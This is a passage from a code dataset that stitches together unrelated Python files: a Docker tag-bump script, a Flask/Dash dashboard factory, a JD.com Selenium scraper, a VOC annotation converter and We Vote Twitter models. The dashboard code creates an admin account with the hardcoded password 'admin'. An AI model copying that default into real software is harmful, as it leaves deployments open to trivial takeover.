str(int(res[-2:]) + 1))\n# return res\n# def get_ouyupord_idrc_image_version(self):\n# url = 'https://dockerepo.isccn.cn:15000/api/repositories/ouyu-prod-test/idrc/tags/'\n# value= self.session.get(url).json()\n# s = [i[\"name\"] for i in value]\n# res = sorted(s, reverse = True)[0]\n# res = res.replace(res[-1], str(int(res[-1]) + 1))\n# return res\n# def get_ouyupord_cdn_image_version(self):\n# url = 'https://dockerepo.isccn.cn:15000/api/repositories/ouyu-prod-test/cdn/tags/'\n# value= self.session.get(url).json()\n# s = [i[\"name\"] for i in value]\n# res = sorted(s, reverse = True)[0]\n# res = res.replace(res[-1], str(int(res[-1]) + 1))\n# return res\n\n\n\nif __name__ == '__main__':\n url = 'https://dockerepo.isccn.cn:15000/api/repositories/ouyu-prod-test/conf/tags/'\n if pro_name in \"ouyu-prod-test\":\n if image in \"cdn\":\n print(build_push_image(url))\n elif image in \"conf\":\n update = os.system('sh /home/update_conf.sh')\n build_push_image(url)\n # # mini = minimal()\n # # prod = ouyuprod()\n # version = prod.get_ouyupord_conf_image_version()\n # print(version)\n # if pro_name in \"ouyu-prod-test\":\n # if image in \"cdn\":\n # print(prod.get_ouyupord_cdn_image_version())\n # elif image in \"conf\":\n # update = os.system('sh /home/update_conf.sh')\n # # build_push_image()\n #\n #\n # elif image in \"idrc\":\n # print(prod.get_ouyupord_idrc_image_version())\n # elif pro_name in \"minimal\":\n # if image in \"conf\":\n # update = os.system('sh /home/update_mini_conf.sh')\n # elif image in \"cdn\":\n # print(mini.get_minimal_cdn_image_version())\n # elif image in \"opensips\":\n # print(mini.get_minimal_opensips_image_version())\n # elif image in \"idrc\":\n # print(mini.get_minimal_idrc_image_version())\n # elif image in \"pushweb\":\n # print(mini.get_minimal_pushweb_image_version())","sub_path":"test/image_tags1.0.py","file_name":"image_tags1.0.py","file_ext":"py","file_size_in_byte":7812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"628772448","text":"import os\nimport logging\n\nimport dash\nfrom flask import Flask\nfrom flask.helpers import get_root_path\nfrom flask_login import login_required\nimport flask_migrate\nfrom alembic import command\nfrom alembic.runtime.migration import MigrationContext\nfrom sqlalchemy_utils import database_exists\n\nfrom qualipy.web.config import BaseConfig, read_project_config\nfrom qualipy.web.app.models import User\nfrom qualipy.web._config import _Config\n\n\nlogging.basicConfig(level=\"INFO\")\nlogger = logging.getLogger(__name__)\n\n\ndef create_app():\n server = Flask(__name__)\n\n set_config(server, _Config.config_dir)\n # set_logging(server)\n\n register_dashapps(server)\n register_extensions(server)\n register_blueprints(server)\n register_cache(server)\n\n return server\n\n\ndef set_config(server, config_dir):\n server.config.from_object(BaseConfig(config_dir))\n server.config.update(**read_project_config(config_dir))\n server.config[\"CONFIG_DIR\"] = config_dir\n\n\ndef register_dashapps(app):\n from qualipy.web.app.metric_tracker.layout import generate_layout\n from qualipy.web.app.metric_tracker.callbacks import register_callbacks\n\n meta_viewport = {\n \"name\": \"viewport\",\n \"content\": \"width=device-width, initial-scale=1, shrink-to-fit=no\",\n }\n\n metric_tracker_app = dash.Dash(\n __name__,\n server=app,\n url_base_pathname=\"/dashboard/\",\n assets_folder=get_root_path(__name__) + \"/dashboard/assets/\",\n meta_tags=[meta_viewport],\n )\n\n with app.app_context():\n\n # metric tracker\n metric_tracker_layout = generate_layout([\"None\"], [\"None\"], [\"None\"], 1000000)\n metric_tracker_app.title = \"Metric Tracker\"\n metric_tracker_app.layout = metric_tracker_layout\n metric_tracker_app.config[\"suppress_callback_exceptions\"] = True\n register_callbacks(metric_tracker_app)\n\n _protect_dashviews(metric_tracker_app)\n\n\ndef _protect_dashviews(dashapp):\n for view_func in dashapp.server.view_functions:\n if view_func.startswith(dashapp.config.url_base_pathname):\n dashapp.server.view_functions[view_func] = login_required(\n dashapp.server.view_functions[view_func]\n )\n\n\ndef register_extensions(server):\n from qualipy.web.app.extensions import db\n from qualipy.web.app.extensions import login\n from qualipy.web.app.extensions import migrate\n\n # db\n db.init_app(server)\n migrate.init_app(server, db)\n\n register_db_migrations(server, migrate, db)\n\n login.init_app(server)\n login.login_view = \"main.login\"\n\n\ndef register_blueprints(server):\n from qualipy.web.app.webapp import main\n\n server.register_blueprint(main)\n\n\ndef register_cache(server):\n from qualipy.web.app.caching import cache\n\n cache.config.update(**{k: v for k, v in server.config.items() if \"CACHE\" in k})\n cache.init_app(server)\n\n if _Config.train_anomaly:\n cache.clear()\n\n\ndef register_db_migrations(server, migrate, db):\n with server.app_context():\n conn = db.engine.connect()\n context = MigrationContext.configure(conn)\n db_revision = context.get_current_revision()\n\n if server.config[\"DB_AUTO_CREATE\"] and not database_exists(\n server.config[\"SQLALCHEMY_DATABASE_URI\"]\n ):\n with server.app_context():\n print(\"creating db\")\n db.create_all()\n flask_migrate.init(server.config[\"MIGRATIONS_DIR\"])\n command.stamp(migrate.get_config(server.config[\"MIGRATIONS_DIR\"]), \"head\")\n add_admin(db)\n\n if server.config[\"DB_AUTO_UPGRADE\"]:\n with server.app_context():\n command.upgrade(migrate.get_config(server.config[\"MIGRATIONS_DIR\"]), \"head\")\n\n\ndef add_admin(db):\n admin = User(username=\"admin\")\n admin.set_password(\"admin\")\n db.session.add(admin)\n db.session.commit()\n\n\ndef set_logging(server):\n root = logging.getLogger()\n root.setLevel(\"DEBUG\")\n","sub_path":"qualipy/web/app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"143142533","text":"import time\nimport os\nfrom selenium import webdriver\nimport csv\n\n\n\ndef get_product(keyword):\n '''搜索商品'''\n driver.find_element_by_css_selector('#key').send_keys(keyword) #找到输入框,输入关键字\n driver.find_element_by_css_selector('.button').click()\n\n\n driver.implicitly_wait(10) # 等待隐式等待\n driver.maximize_window() #最大化浏览器\n\n\n\n# 数据懒加载(浏览器向下拉动,下面的数据才会加载)\ndef drop_down(): #模拟向下拉动\n for x in range(1,11,2):\n j = x/10\n js = 'document.documentElement.scrollTop = document.documentElement.scrollHeight * %f' % j\n driver.execute_script(js)\n\n\n# 数据分析采集并且保存\ndef parse_data():\n lis = driver.find_elements_by_css_selector('.gl-item')\n\n for y in lis:\n try:\n name = y.find_element_by_css_selector('div.p-name a em').text #商品名称\n price = y.find_element_by_css_selector('div.p-price strong i').text #商品价格\n deal = y.find_element_by_css_selector('div.p-commit strong a').text #商品评论数量\n title = y.find_element_by_css_selector('span.J_im_icon a').text #商品的店铺\n # print(name,price,deal,title)\n with open('shuju/京东电脑',mode='a',encoding='utf-8',newline='') as f:\n csv_write = csv.writer(f)\n csv_write.writerow([name,price,deal,title])\n except Exception as e:\n print(e)\n\n\ndef get_next():\n driver.find_element_by_css_selector('#J_bottomPage > span.p-num > a.pn-next > em').click()\n\nword = input(\"请输入爬取商品名称 \")\n# word = '笔记本'\ndriver = webdriver.Chrome(executable_path=\"D:\\Program Files (x86)\\chromedriver_win32\\chromedriver.exe\")\ndriver.get(\"https://www.jd.com\")\n#搜索商品\nget_product(word)\nfor page in range(1,30):\n\n # 调用页面滚动\n drop_down()\n time.sleep(1)\n #调用解析函数\n parse_data()\n get_next()\n# # 调用页面滚动\n# drop_down()\n# #调用解析函数\n# parse_data()\n# get_next()\n\n# 退出\ndriver.quit()","sub_path":"jdspd.py","file_name":"jdspd.py","file_ext":"py","file_size_in_byte":2089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"102450890","text":"#!/usr/bin/env python\n#\n# Copyright EAVISE\n# Example: Transform annotations for VOCdevkit to the brambox pickle format\n#\n\nimport xml.etree.ElementTree as ET\nimport brambox.boxes as bbb\n\nROOT = 'data' # Root folder where the VOCdevkit is located\n\nTRAINSET = [\n ('2018', 'train'),\n]\n\nVALIDSET = [\n ('2018', 'val'),\n]\n\nTESTSET = [\n ('2018', 'test'),\n]\n\n\ndef identify(xml_file):\n root = ET.parse(xml_file).getroot()\n folder = root.find('folder').text\n filename = root.find('filename').text\n return '{folder}/JPEGImages/{filename}'.format(folder=folder, filename=filename)\n\n\ndef process(name, verbose=True):\n config_dict = {\n 'train': ('training', TRAINSET),\n 'valid': ('validation', VALIDSET),\n 'test': ('testing', TESTSET),\n }\n\n name = name.lower()\n assert name in config_dict\n description, DATASET = config_dict[name]\n\n if len(DATASET) == 0:\n return\n\n print('Getting {description} annotation filenames'.format(description=description))\n dataset = []\n for (year, img_set) in DATASET:\n filename = '{ROOT}/VOCdevkit/VOC{year}/ImageSets/Main/{img_set}.txt'.format(ROOT=ROOT, year=year, img_set=img_set)\n with open(filename, 'r') as f:\n ids = f.read().strip().split()\n dataset += [\n '{ROOT}/VOCdevkit/VOC{year}/Annotations/{xml_id}.xml'.format(ROOT=ROOT, year=year, xml_id=xml_id)\n for xml_id in ids\n ]\n\n if verbose:\n print('\\t{len} xml files'.format(\n len=len(dataset),\n ))\n\n print('Parsing {description} annotation files'.format(description=description))\n dataset_annos = bbb.parse('anno_pascalvoc', dataset, identify)\n\n print('Generating {description} annotation file'.format(description=description))\n bbb.generate('anno_pickle', dataset_annos, '{ROOT}/{name}.pkl'.format(ROOT=ROOT, name=name))\n\n print()\n\n\nif __name__ == '__main__':\n process('train')\n process('valid')\n process('test')\n","sub_path":"examples/seaturtle/labels.py","file_name":"labels.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"286445092","text":"# twitter/models.py\n# Brought to you by We Vote. Be good.\n# -*- coding: UTF-8 -*-\n\n# See also WeVoteServer/import_export_twitter/models.py for the code that interfaces with twitter (or other) servers\nfrom config.base import get_environment_variable\nfrom django.db import models\nfrom exception.models import handle_record_found_more_than_one_exception\nfrom import_export_twitter.functions import retrieve_twitter_user_info\nimport tweepy\nfrom wevote_functions.functions import convert_to_int, generate_random_string, positive_value_exists\nimport wevote_functions.admin\n\nTWITTER_CONSUMER_KEY = get_environment_variable(\"TWITTER_CONSUMER_KEY\")\nTWITTER_CONSUMER_SECRET = get_environment_variable(\"TWITTER_CONSUMER_SECRET\")\nTWITTER_FRIENDS_IDS_MAX_LIMIT = 5000\nTWITTER_API_NAME_FRIENDS_ID = \"friends_ids\"\n\nlogger = wevote_functions.admin.get_logger(__name__)\n\n\nclass TwitterLinkToOrganization(models.Model):\n \"\"\"\n This is the link between a Twitter account and an organization\n \"\"\"\n organization_we_vote_id = models.CharField(verbose_name=\"we vote id for the org owner\", max_length=255, unique=True)\n twitter_id = models.BigIntegerField(verbose_name=\"twitter big integer id\", null=True, unique=True)\n date_last_changed = models.DateTimeField(verbose_name='date last changed', null=False, auto_now=True)\n\n def fetch_twitter_id_locally_or_remotely(self):\n twitter_id = 0\n twitter_user_manager = TwitterUserManager()\n twitter_results = twitter_user_manager.retrieve_twitter_user_locally_or_remotely(self.twitter_id)\n\n if twitter_results['twitter_user_found']:\n twitter_user = twitter_results['twitter_user']\n twitter_id = twitter_user.twitter_id\n\n return twitter_id\n\n def fetch_twitter_handle_locally_or_remotely(self):\n twitter_handle = \"\"\n twitter_user_manager = TwitterUserManager()\n twitter_results = twitter_user_manager.retrieve_twitter_user_locally_or_remotely(self.twitter_id)\n\n if twitter_results['twitter_user_found']:\n twitter_user = twitter_results['twitter_user']\n twitter_handle = twitter_user.twitter_handle\n\n # Strip out the twitter handles \"False\" or \"None\"\n if twitter_handle:\n twitter_handle_lower = twitter_handle.lower()\n if twitter_handle_lower == 'false' or twitter_handle_lower == 'none':\n twitter_handle = ''\n\n return twitter_handle\n\n\nclass TwitterLinkToVoter(models.Model):\n \"\"\"\n This is the link between a Twitter account and a We Vote voter account\n \"\"\"\n voter_we_vote_id = models.CharField(verbose_name=\"we vote id for the voter owner\", max_length=255, unique=True)\n twitter_id = models.BigIntegerField(verbose_name=\"twitter big integer id\", null=False, unique=True)\n secret_key = models.CharField(\n verbose_name=\"secret key to verify ownership twitter account\", max_length=255, null=False, unique=True)\n date_last_changed = models.DateTimeField(verbose_name='date last changed', null=False, auto_now=True)\n\n def fetch_twitter_id_locally_or_remotely(self):\n twitter_id = 0\n twitter_user_manager = TwitterUserManager()\n twitter_results = twitter_user_manager.retrieve_twitter_user_locally_or_remotely(self.twitter_id)\n\n if twitter_results['twitter_user_found']:\n twitter_user = twitter_results['twitter_user']\n twitter_id = twitter_user.twitter_id\n\n return twitter_id\n\n def fetch_twitter_handle_locally_or_remotely(self):\n twitter_handle = \"\"\n twitter_user_manager = TwitterUserManager()\n twitter_results = twitter_user_manager.retrieve_twitter_user_locally_or_remotely(self.twitter_id)\n\n if twitter_results['twitter_user_found']:\n twitter_user = twitter_results['twitter_user']\n twitter_handle = twitter_user.twitter_handle\n\n # Strip out the twitter handles \"False\" or \"None\"\n if twitter_handle:\n twitter_handle_lower = twitter_handle.lower()\n if twitter_handle_lower == 'false' or twitter_handle_lower == 'none':\n twitter_handle = ''\n\n return twitter_handle\n\n\nclass TwitterUser(models.Model):\n \"\"\"\n We cache the Twitter info for one handle here.\n \"\"\"\n twitter_id = models.BigIntegerField(verbose_name=\"twitter big integer id\", null=True, blank=True)\n twitter_handle = models.CharField(verbose_name='twitter screen name / handle',\n max_length=255, null=False, unique=True)\n twitter_name = models.CharField(verbose_name=\"display name from twitter\", max_length=255, null=True, blank=True)\n twitter_url = models.URLField(blank=True, null=True, verbose_name='url of user\\'s website')\n twitter_profile_image_url_https = models.URLField(verbose_name='url of logo from twitter', blank=True, null=True)\n twitter_location = models.CharField(verbose_name=\"location from twitter\", max_length=255, null=True, blank=True)\n twitter_followers_count = models.IntegerField(verbose_name=\"number of twitter followers\",\n null=False, blank=True, default=0)\n twitter_profile_background_image_url_https = models.URLField(verbose_name='tile-able background from twitter',\n blank=True, null=True)\n twitter_profile_banner_url_https = models.URLField(verbose_name='profile banner image from twitter',\n blank=True, null=True)\n we_vote_hosted_profile_image_url_large = models.URLField(verbose_name='we vote hosted large image url',\n blank=True, null=True)\n we_vote_hosted_profile_image_url_medium = models.URLField(verbose_name='we vote hosted medium image url',\n blank=True, null=True)\n we_vote_hosted_profile_image_url_tiny = models.URLField(verbose_name='we vote hosted tiny image url',\n blank=True, null=True)\n twitter_description = models.CharField(verbose_name=\"Text description of this organization from twitter.\",\n max_length=255, null=True, blank=True)\n\n\nclass TwitterUserManager(models.Model):\n\n def __unicode__(self):\n return \"TwitterUserManager\"\n\n def create_twitter_link_to_organization(self, twitter_id, organization_we_vote_id):\n if not positive_value_exists(twitter_id) or not \\\n positive_value_exists(organization_we_vote_id):\n twitter_link_to_organization = TwitterLinkToOrganization()\n results = {\n 'success': False,\n 'status': 'CREATE_TWITTER_LINK_TO_ORGANIZATION_FAILED-MISSING_REQUIRED_VARIABLES',\n 'twitter_link_to_organization_saved': False,\n 'twitter_link_to_organization': twitter_link_to_organization,\n }\n return results\n\n # Any attempts to save a twitter_link using either twitter_id or voter_we_vote_id that already\n # exist in the table will fail, since those fields are required to be unique.\n try:\n twitter_link_to_organization = TwitterLinkToOrganization.objects.create(\n twitter_id=twitter_id,\n organization_we_vote_id=organization_we_vote_id,\n )\n twitter_link_to_organization_saved = True\n success = True\n status = \"TWITTER_LINK_TO_ORGANIZATION_CREATED\"\n except Exception as e:\n twitter_link_to_organization_saved = False\n twitter_link_to_organization = TwitterLinkToOrganization()\n success = False\n status = \"TWITTER_LINK_TO_ORGANIZATION_NOT_CREATED\"\n\n results = {\n 'success': success,\n 'status': status,\n 'twitter_link_to_organization_saved': twitter_link_to_organization_saved,\n 'twitter_link_to_organization': twitter_link_to_organization,\n }\n return results\n\n def create_twitter_link_to_voter(self, twitter_id, voter_we_vote_id):\n\n # Any attempts to save a twitter_link using either twitter_id or voter_we_vote_id that already\n # exist in the table will fail, since those fields are required to be unique.\n twitter_secret_key = generate_random_string(12)\n\n try:\n twitter_link_to_voter = TwitterLinkToVoter.objects.create(\n twitter_id=twitter_id,\n voter_we_vote_id=voter_we_vote_id,\n secret_key=twitter_secret_key,\n )\n twitter_link_to_voter_saved = True\n success = True\n status = \"TWITTER_LINK_TO_VOTER_CREATED\"\n\n # TODO DALE Remove voter.twitter_id value here?\n except Exception as e:\n twitter_link_to_voter_saved = False\n twitter_link_to_voter = TwitterLinkToVoter()\n success = False\n status = \"TWITTER_LINK_TO_VOTER_NOT_CREATED\"\n\n results = {\n 'success': success,\n 'status': status,\n 'twitter_link_to_voter_saved': twitter_link_to_voter_saved,\n 'twitter_link_to_voter': twitter_link_to_voter,\n }\n return results\n\n def retrieve_twitter_link_to_organization_from_twitter_user_id(self, twitter_user_id):\n return self.retrieve_twitter_link_to_organization(twitter_user_id)\n\n def retrieve_twitter_link_to_organization_from_twitter_handle(self, twitter_handle):\n twitter_user_id = 0\n results = self.retrieve_twitter_user_locally_or_remotely(twitter_user_id, twitter_handle)\n if results['twitter_user_found']:\n twitter_user = results['twitter_user']\n twitter_user_id = twitter_user.twitter_id\n\n return self.retrieve_twitter_link_to_organization(twitter_user_id)\n\n def fetch_twitter_handle_from_organization_we_vote_id(self, organization_we_vote_id):\n organization_twitter_handle = ''\n twitter_results = self.retrieve_twitter_link_to_organization_from_organization_we_vote_id(\n organization_we_vote_id)\n if twitter_results['twitter_link_to_organization_found']:\n twitter_link_to_organization = twitter_results['twitter_link_to_organization']\n organization_twitter_handle = twitter_link_to_organization.fetch_twitter_handle_locally_or_remotely()\n return organization_twitter_handle\n\n def fetch_twitter_id_from_organization_we_vote_id(self, organization_we_vote_id):\n organization_twitter_id = 0\n twitter_results = self.retrieve_twitter_link_to_organization_from_organization_we_vote_id(\n organization_we_vote_id)\n if twitter_results['twitter_link_to_organization_found']:\n twitter_link_to_organization = twitter_results['twitter_link_to_organization']\n organization_twitter_id = twitter_link_to_organization.fetch_twitter_id_locally_or_remotely()\n return organization_twitter_id\n\n def fetch_twitter_handle_from_voter_we_vote_id(self, voter_we_vote_id):\n voter_twitter_handle = ''\n twitter_results = self.retrieve_twitter_link_to_voter_from_voter_we_vote_id(\n voter_we_vote_id)\n if twitter_results['twitter_link_to_voter_found']:\n twitter_link_to_voter = twitter_results['twitter_link_to_voter']\n voter_twitter_handle = twitter_link_to_voter.fetch_twitter_handle_locally_or_remotely()\n return voter_twitter_handle\n\n def fetch_twitter_id_from_voter_we_vote_id(self, voter_we_vote_id):\n voter_twitter_id = 0\n twitter_results = self.retrieve_twitter_link_to_voter_from_voter_we_vote_id(\n voter_we_vote_id)\n if twitter_results['twitter_link_to_voter_found']:\n twitter_link_to_voter = twitter_results['twitter_link_to_voter']\n voter_twitter_id = twitter_link_to_voter.fetch_twitter_id_locally_or_remotely()\n return voter_twitter_id\n\n def retrieve_twitter_link_to_organization_from_organization_we_vote_id(self, organization_we_vote_id):\n twitter_user_id = 0\n return self.retrieve_twitter_link_to_organization(twitter_user_id, organization_we_vote_id)\n\n def retrieve_twitter_link_to_organization(self, twitter_id=0, organization_we_vote_id=''):\n \"\"\"\n\n :param twitter_id:\n :param organization_we_vote_id:\n :return:\n \"\"\"\n twitter_link_to_organization = TwitterLinkToOrganization()\n twitter_link_to_organization_id = 0\n\n try:\n if positive_value_exists(twitter_id):\n twitter_link_to_organization = TwitterLinkToOrganization.objects.get(\n twitter_id=twitter_id,\n )\n twitter_link_to_organization_id = twitter_link_to_organization.id\n twitter_link_to_organization_found = True\n success = True\n status = \"RETRIEVE_TWITTER_LINK_TO_ORGANIZATION_FOUND_BY_TWITTER_USER_ID\"\n elif positive_value_exists(organization_we_vote_id):\n twitter_link_to_organization = TwitterLinkToOrganization.objects.get(\n organization_we_vote_id__iexact=organization_we_vote_id,\n )\n twitter_link_to_organization_id = twitter_link_to_organization.id\n twitter_link_to_organization_found = True\n success = True\n status = \"RETRIEVE_TWITTER_LINK_TO_ORGANIZATION_FOUND_BY_ORGANIZATION_WE_VOTE_ID\"\n else:\n twitter_link_to_organization_found = False\n success = False\n status = \"RETRIEVE_TWITTER_LINK_TO_ORGANIZATION_VARIABLES_MISSING\"\n except TwitterLinkToVoter.DoesNotExist:\n twitter_link_to_organization_found = False\n success = True\n status = \"RETRIEVE_TWITTER_LINK_TO_ORGANIZATION_NOT_FOUND\"\n except Exception as e:\n twitter_link_to_organization_found = False\n success = False\n status = 'FAILED retrieve_twitter_link_to_organization'\n\n results = {\n 'success': success,\n 'status': status,\n 'twitter_link_to_organization_found': twitter_link_to_organization_found,\n 'twitter_link_to_organization_id': twitter_link_to_organization_id,\n 'twitter_link_to_organization': twitter_link_to_organization,\n }\n return results\n\n def retrieve_twitter_link_to_voter_from_twitter_user_id(self, twitter_user_id):\n return self.retrieve_twitter_link_to_voter(twitter_user_id)\n\n def retrieve_twitter_link_to_voter_from_twitter_handle(self, twitter_handle):\n twitter_user_id = 0\n twitter_user_results = self.retrieve_twitter_user_locally_or_remotely(twitter_user_id, twitter_handle)\n if twitter_user_results['twitter_user_found']:\n twitter_user = twitter_user_results['twitter_user']\n if positive_value_exists(twitter_user.twitter_id):\n return self.retrieve_twitter_link_to_voter(twitter_user.twitter_id)\n\n twitter_link_to_voter = TwitterLinkToVoter()\n results = {\n 'success': False,\n 'status': \"COULD_NOT_FIND_TWITTER_ID_FROM_TWITTER_HANDLE\",\n 'twitter_link_to_voter_found': False,\n 'twitter_link_to_voter_id': 0,\n 'twitter_link_to_voter': twitter_link_to_voter,\n }\n return results\n\n def retrieve_twitter_link_to_voter_from_voter_we_vote_id(self, voter_we_vote_id):\n twitter_id = 0\n twitter_secret_key = \"\"\n return self.retrieve_twitter_link_to_voter(twitter_id, voter_we_vote_id, twitter_secret_key)\n\n def retrieve_twitter_link_to_voter_from_twitter_secret_key(self, twitter_secret_key):\n twitter_id = 0\n voter_we_vote_id = \"\"\n return self.retrieve_twitter_link_to_voter(twitter_id, voter_we_vote_id, twitter_secret_key)\n\n def retrieve_twitter_link_to_voter(self, twitter_id=0, voter_we_vote_id='', twitter_secret_key=''):\n \"\"\"\n\n :param twitter_id:\n :param voter_we_vote_id:\n :param twitter_secret_key:\n :return:\n \"\"\"\n twitter_link_to_voter = TwitterLinkToVoter()\n twitter_link_to_voter_id = 0\n\n try:\n if positive_value_exists(twitter_id):\n twitter_link_to_voter = TwitterLinkToVoter.objects.get(\n twitter_id=twitter_id,\n )\n twitter_link_to_voter_id = twitter_link_to_voter.id\n twitter_link_to_voter_found = True\n success = True\n status = \"RETRIEVE_TWITTER_LINK_TO_VOTER_FOUND_BY_TWITTER_USER_ID\"\n elif positive_value_exists(voter_we_vote_id):\n twitter_link_to_voter = TwitterLinkToVoter.objects.get(\n voter_we_vote_id__iexact=voter_we_vote_id,\n )\n twitter_link_to_voter_id = twitter_link_to_voter.id\n twitter_link_to_voter_found = True\n success = True\n status = \"RETRIEVE_TWITTER_LINK_TO_VOTER_FOUND_BY_VOTER_WE_VOTE_ID\"\n elif positive_value_exists(twitter_secret_key):\n twitter_link_to_voter = TwitterLinkToVoter.objects.get(\n secret_key=twitter_secret_key,\n )\n twitter_link_to_voter_id = twitter_link_to_voter.id\n twitter_link_to_voter_found = True\n success = True\n status = \"RETRIEVE_TWITTER_LINK_TO_VOTER_FOUND_BY_TWITTER_SECRET_KEY\"\n else:\n twitter_link_to_voter_found = False\n success = False\n status = \"RETRIEVE_TWITTER_LINK_TO_VOTER_VARIABLES_MISSING\"\n except TwitterLinkToVoter.DoesNotExist:\n twitter_link_to_voter_found = False\n success = True\n status = \"RETRIEVE_TWITTER_LINK_TO_VOTER_NOT_FOUND\"\n except Exception as e:\n twitter_link_to_voter_found = False\n success = False\n status = 'FAILED retrieve_twitter_link_to_voter'\n\n results = {\n 'success': success,\n 'status': status,\n 'twitter_link_to_voter_found': twitter_link_to_voter_found,\n 'twitter_link_to_voter_id': twitter_link_to_voter_id,\n 'twitter_link_to_voter': twitter_link_to_voter,\n }\n return results\n\n def retrieve_twitter_user_locally_or_remotely(self, twitter_user_id, twitter_handle=''):\n \"\"\"\n We use this routine to quickly store and retrieve twitter user information, whether it is already in the\n database, or if we have to reach out to Twitter to get it.\n :param twitter_user_id:\n :param twitter_handle:\n :return:\n \"\"\"\n twitter_user_found = False\n twitter_user = TwitterUser()\n success = False\n status = \"TWITTER_USER_NOT_FOUND\"\n\n # Strip out the twitter handles \"False\" or \"None\"\n if twitter_handle:\n twitter_handle_lower = twitter_handle.lower()\n if twitter_handle_lower == 'false' or twitter_handle_lower == 'none':\n twitter_handle = ''\n\n # Is this twitter_handle already stored locally? If so, return that\n twitter_results = self.retrieve_twitter_user(twitter_user_id, twitter_handle)\n if twitter_results['twitter_user_found']:\n return twitter_results\n\n # If here, we want to reach out to Twitter to get info for this twitter_handle\n twitter_results = retrieve_twitter_user_info(twitter_user_id, twitter_handle)\n if twitter_results['twitter_handle_found']:\n twitter_save_results = self.update_or_create_twitter_user(twitter_results['twitter_json'])\n if twitter_save_results['twitter_user_found']:\n # If saved, pull the fresh results from the database and return\n twitter_second_results = self.retrieve_twitter_user(twitter_user_id, twitter_handle)\n if twitter_second_results['twitter_user_found']:\n return twitter_second_results\n\n results = {\n 'success': success,\n 'status': status,\n 'twitter_user_found': twitter_user_found,\n 'twitter_user': twitter_user,\n }\n return results\n\n def retrieve_twitter_user(self, twitter_user_id, twitter_handle=''):\n twitter_user_on_stage = TwitterUser()\n twitter_user_found = False\n success = False\n\n # Strip out the twitter handles \"False\" or \"None\"\n if twitter_handle:\n twitter_handle_lower = twitter_handle.lower()\n if twitter_handle_lower == 'false' or twitter_handle_lower == 'none':\n twitter_handle = ''\n\n try:\n if positive_value_exists(twitter_user_id):\n status = \"RETRIEVE_TWITTER_USER_FOUND_WITH_TWITTER_USER_ID\"\n twitter_user_on_stage = TwitterUser.objects.get(twitter_id=twitter_user_id)\n twitter_user_found = True\n success = True\n elif positive_value_exists(twitter_handle):\n status = \"RETRIEVE_TWITTER_USER_FOUND_WITH_HANDLE\"\n twitter_user_on_stage = TwitterUser.objects.get(twitter_handle__iexact=twitter_handle)\n twitter_user_found = True\n success = True\n else:\n status = \"RETRIEVE_TWITTER_USER_INSUFFICIENT_VARIABLES\"\n except TwitterUser.MultipleObjectsReturned as e:\n success = False\n status = \"RETRIEVE_TWITTER_USER_MULTIPLE_FOUND\"\n handle_record_found_more_than_one_exception(e, logger=logger, exception_message_optional=status)\n except TwitterUser.DoesNotExist:\n success = True\n status = \"RETRIEVE_TWITTER_USER_NONE_FOUND\"\n\n results = {\n 'success': success,\n 'status': status,\n 'twitter_user_found': twitter_user_found,\n 'twitter_user': twitter_user_on_stage,\n }\n return results\n\n def retrieve_twitter_ids_i_follow_from_twitter(self, twitter_id_of_me, twitter_access_token, twitter_access_secret):\n \"\"\"\n We use this routine to retrieve twitter ids who i follow and updating the next cursor state in\n TwitterCursorState table\n :param twitter_id_of_me:\n :param twitter_access_token:\n :param twitter_access_secret:\n :return: twitter_ids_i_follow\n \"\"\"\n auth = tweepy.OAuthHandler(TWITTER_CONSUMER_KEY, TWITTER_CONSUMER_SECRET)\n auth.set_access_token(twitter_access_token, twitter_access_secret)\n api = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True, compression=True)\n\n twitter_next_cursor_state_results = self.retrieve_twitter_next_cursor_state(twitter_id_of_me)\n status = twitter_next_cursor_state_results['status']\n twitter_next_cursor = twitter_next_cursor_state_results['twitter_next_cursor']\n if TWITTER_FRIENDS_IDS_MAX_LIMIT <= twitter_next_cursor:\n twitter_next_cursor = 0\n\n twitter_ids_i_follow = list()\n try:\n cursor = tweepy.Cursor(\n api.friends_ids, id=twitter_id_of_me, count=TWITTER_FRIENDS_IDS_MAX_LIMIT, since_id=twitter_next_cursor)\n for twitter_ids in cursor.pages():\n twitter_next_cursor += len(twitter_ids)\n twitter_ids_i_follow.extend(twitter_ids)\n success = True\n twitter_next_cursor_state = self.create_twitter_next_cursor_state(\n twitter_id_of_me, TWITTER_API_NAME_FRIENDS_ID, twitter_next_cursor)\n status = status + ' ' + twitter_next_cursor_state['status']\n except tweepy.RateLimitError:\n success = False\n status += ' RETRIEVE_TWITTER_IDS_I_FOLLOW_RATE_LIMIT_ERROR '\n except tweepy.error.TweepError as error_instance:\n success = 'RETRIEVE_TWITTER_IDS_I_FOLLOW_TWEEPY_ERROR: {} '.format(error_instance.reason)\n\n results = {\n 'success': success,\n 'status': status + ' RETRIEVE_TWITTER_IDS_I_FOLLOW_COMPLETED',\n 'twitter_next_cursor': twitter_next_cursor,\n 'twitter_ids_i_follow': twitter_ids_i_follow,\n }\n return results\n\n def retrieve_twitter_who_i_follow_list(self, twitter_id_of_me):\n \"\"\"\n Retrieve twitter ids that twitter_id_of_me follows from TwitterWhoIFollow table.\n :param twitter_id_of_me:\n :return:\n \"\"\"\n status = \"\"\n twitter_who_i_follow_list = []\n\n if not positive_value_exists(twitter_id_of_me):\n success = False\n status = 'RETRIEVE_TWITTER_WHO_I_FOLLOW-MISSING_TWITTER_ID '\n results = {\n 'success': success,\n 'status': status,\n 'twitter_who_i_follow_list_found': False,\n 'twitter_who_i_follow_list': [],\n }\n return results\n\n try:\n twitter_who_i_follow_queryset = TwitterWhoIFollow.objects.all()\n twitter_who_i_follow_queryset = twitter_who_i_follow_queryset.filter(\n twitter_id_of_me=twitter_id_of_me)\n twitter_who_i_follow_list = twitter_who_i_follow_queryset\n\n if len(twitter_who_i_follow_list):\n success = True\n twitter_who_i_follow_list_found = True\n status += ' TWITTER_WHO_I_FOLLOW_LIST_RETRIEVED '\n else:\n success = True\n twitter_who_i_follow_list_found = False\n status += ' NO_TWIITER_WHO_I_FOLLOW_LIST_RETRIEVED '\n except TwitterWhoIFollow.DoesNotExist:\n # No data found. Not 